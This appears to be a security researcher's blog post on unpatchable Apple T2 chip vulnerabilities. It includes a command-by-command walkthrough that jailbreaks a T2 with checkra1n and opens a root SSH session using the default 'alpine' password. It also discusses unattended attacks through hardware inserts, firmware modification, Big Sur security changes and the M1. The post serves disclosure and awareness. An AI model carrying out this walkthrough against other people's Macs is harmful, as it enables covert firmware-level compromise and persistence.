Questions raised since the last blog post and the recent release of macOS Big Sur and the M1 chip require some clarification.
My previous blog post around the T2 vulnerabilities on Apple hardware caused a wave of news articles describing the issue, ranging from terrible copied to actually being written in a better way. I’m glad the post triggered such a wide reaction and reached its end goal: awareness.
A couple of interesting links if you aren’t up to speed around the issue:
A tiny recap of what was discussed in the previous blog post “Crouching T2, Hidden Danger”:
And now, the moment you’ve all been waiting for. Let’s jailbreak a T2 chip!
# install devtools
$ xcode-select --install
# check the script & install homebrew
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
# install packages
$ brew install libplist automake autoconf pkg-config openssl libtool llvm libusb
# git clone, autogen.sh, make & make install
# https://github.com/sbingner/ldid
# https://github.com/libimobiledevice/libusbmuxd
# https://github.com/libimobiledevice/libimobiledevice
# https://github.com/libimobiledevice/usbmuxd
# get the checkra1n beta from https://checkra.in/#release
# and verify the integrity hash matches
$ shasum -a256 checkra1n.app
d4def982494bc0b99c6df57dc94338c205902aaa8949e9ae046812ed57743ccb
# put your macOS device in DFU mode using the Apple Support document
# https://support.apple.com/guide/apple-configurator-2/revive-or-restore-mac-firmware-apdebea5be51/mac
# verify you can see your Mac in DFU mode
$ ioreg -p IOUSB
+-o Root <class I0RegistryEntry, id 0x100000100, retain 17>
+-o AppleUSBXHCI Root Hub Simulation@14000000 <class AppleUSBRootHubDevice, id 0x100000312, registered, matched, active, busy 0 (2 ms), retain 14>
+-o Apple Internal Keyboard / Trackpad@14400000 <class AppleUSBDevice, id 0x1000041a8, registered, matched, active, busy @ (2 ms), retain 16>
+-o BRCM20702 Hub@14300000 <class AppleUSBDevice, id 0x10000420d, registered, matched, active, busy @ (@ ms), retain 12>
| +-o Bluetooth USB Host Controller@14330000 <class AppleUSBDevice, id 0x100004223, registered, matched, active, busy 0 (1 ms), retain 17>
+-o Apple Mobile Device (DFU Mode)@14100000 <class AppleUSBDevice, id 0x100004428, registered, matched, active, busy @ (1 ms), retain 14>
# Run checkra1n exploitation & watch the target reboot
$ sudo ./checkra1n.app/Contents/MacOS/checkra1n --cli --verbose-boot --verbose-logging
# Bring up a proxy to dropbear
$ iproxy 2222 44 &
# Connect to T2 with password 'alpine' & profit
$ ssh -p 2222 [email protected]
And if you can’t try out yourself, here are a couple of videos:
In this example, we are going to jailbreak the T2 chip without any user interaction. This shows the potential for any automated malicious attacks that are possible with hardware inserts. Some magazines mentioned physical access to be difficult to exploit, but let’s not forget that leaving malicious USB sticks is one of the most widely used attack methods for (physical) penetration testing. Or think about the OMG cable.
And to prove that we do have in fact full operability on the system, in this case we are swapping the MacEFI with a modified version with a different boot logo. This basically proves anything is possible once you have T2 access, since it is situated so early in the boot process.
So now we’ve covered the official things, let’s brainstorm for a bit what attack scenarios are possible:
Attack Vectors:
Potential Attacks:
Fun fact: did you know that your Mac discloses its serial number to every charger connected? Your serial is not so secret after all.
macOS Big Sur finally brings some new security features to the masses, bringing macOS more up to speed compared to its iOS kin:
Installing profiles is not longer possible via CLI, requiring graphical confirmation in System Settings or a full MDM enrollment. This will prevent malware installing malicious profiles for persistence or security degradation like disabling the firewall.
Signed System Volumes (SSV) on your boot disk and the T2 ensure files on the filesystem are checked for integrity on boot. Only a valid snapshot of your system volume is mounted instead of a full copy which is mounted read-only.
bridgeOS 5 which is installed with Big Sure is based on iOS 14 and will include all security enhacements of it. Checkm8 and blackbird remain unable to be fixed, but are now scoped in damage to just that boot of the T2
Kernel extensions are now supposed to be installed as System Extensions which run in user-space. Kernel & System extensions are also stored in a read-only portion in memory.
Modifications to the root certificate store now require graphical user approval with administrator permissions.
And most probably more that didn’t reach the news yet. More to come!
The newer Apple Silicon Macs still sport a T-chip in the System-on-a-Chip, but we do not know yet whether this is a revised version (T3?).
Moving different things to the same SoC should at least remove some threat vectors such as Thunderbolt firmware attacks. In addition, simplifying architecture (such as moving so silicon comparable to the A mobile chips) will always benefit security. There is no news yet on what kind of T-chip is included in the M1 chip tough, so further research is required. All we can say for now: it’s most probably safer than current Intel-based Macbooks.
But do you -really- care tough? The new chip’s a beast! As proven by various benchmarks, the cheapest MacBook now outperforms the most expensive one. But if you -can- wait, I really suggest to wait for the M2 chip which will most probably blow us away like we’ve never seen.
But I shouldn’t always bring bad news.
The checkra1n team will be releasing a T2 SDK to develop applications for the T2 bridgeOS to facilitate security research on the T2 platform, along with a public Wiki page to help others investigate too.
They will also be releasing a USB-PD screamer cable allowing others to investigate the USB-PD protocol used by USB-C devices and find new vulnerabilities in this NDA’d Intel protocol.